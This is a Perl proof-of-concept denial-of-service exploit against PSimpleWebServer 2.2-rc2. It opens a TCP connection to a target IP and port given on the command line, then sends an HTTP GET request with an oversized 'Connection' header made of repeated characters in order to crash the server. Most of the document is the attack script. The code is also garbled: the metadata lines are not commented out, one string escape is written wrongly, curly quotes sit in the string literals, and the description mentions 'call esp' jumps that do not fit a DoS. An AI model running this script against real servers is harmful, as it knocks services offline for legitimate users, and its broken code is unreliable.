#!/usr/bin/perl

use IO::Socket::INET;

Exploit Title: PSimpleWebServer 2.2-rc2 - Denial of Service (DoS)

Discovery by: Fernando Mengali

Discovery Date: 11 january 2024

Vendor Homepage: http://www.pmx.it/

Download to demo: https://drive.google.com/file/d/1tAK7dKl3yBPQSeo5Tid4p2FETyh8Zjvs/view?usp=sharing

Notification vendor: No reported

Tested Version: PSimpleWebServer 2.2-rc2

Tested on: Window XP Professional - Service Pack 2 and 3 - English

Vulnerability Type: Denial of Service (DoS)

Vídeo: https://www.youtube.com/watch?v=YFfBuWnHeQY

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static ‘call esp’
#Backwards jump to code a known distance from the stack pointer.
#The server did not properly handle request with large amounts of data to web server.
#The following request sends a large amount of data to the web server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

$sis="$^O";

if ($sis eq "windows"){  
  $cmd="cls";  
} else {  
  $cmd="clear";  
}

system("$cmd");

    intro();  
main();

print "\t ==> Connecting to webserver… \n\n";
sleep(1);

our $exploit = "\x41"x2014;

$exploit = "x\41"x2104;

if ($socket = IO::Socket::INET->new
(PeerAddr => $ip,
PeerPort => $port,
Proto => “TCP”))
{
$header =
"GET / HTTP/1.1\r\n".
"Host: “.$ip.” \r\n".
"Connection:".$exploit."\r\n";
print $socket $header."\r\n";
sleep(1);
close($socket);
}

else
{
print "[-] Connection to $ip failed!\n";
exit;
}

          print "\t    ==> Done! Exploited!";  

sub intro {
print q {

                    ,,__  
          ..  ..   / o._)           
         /--'/--\  \-'||    
        /        \_/ / |    
      .'\  \__\  __.'.'     
        )\ |  )\ |        
       // \\ // \\  
      ||_  \\|_  \\_  
      '--' '--'' '--'  

            [+] SimpleWebServer 2.2-rc2 - Denial of Service (DoS)

  [*] Coded by Fernando Mengali

  [@] e-mail: [email protected]

  }  

}

sub main {

our ($ip, $port) = @ARGV;

  unless (defined($ip) && defined($port)) {

    print "\n\tUsage: $0 <ip> <port>                 \n";  
    exit(-1);

  }  

}

#3. Solution/ How to fix:

This version product is deprecated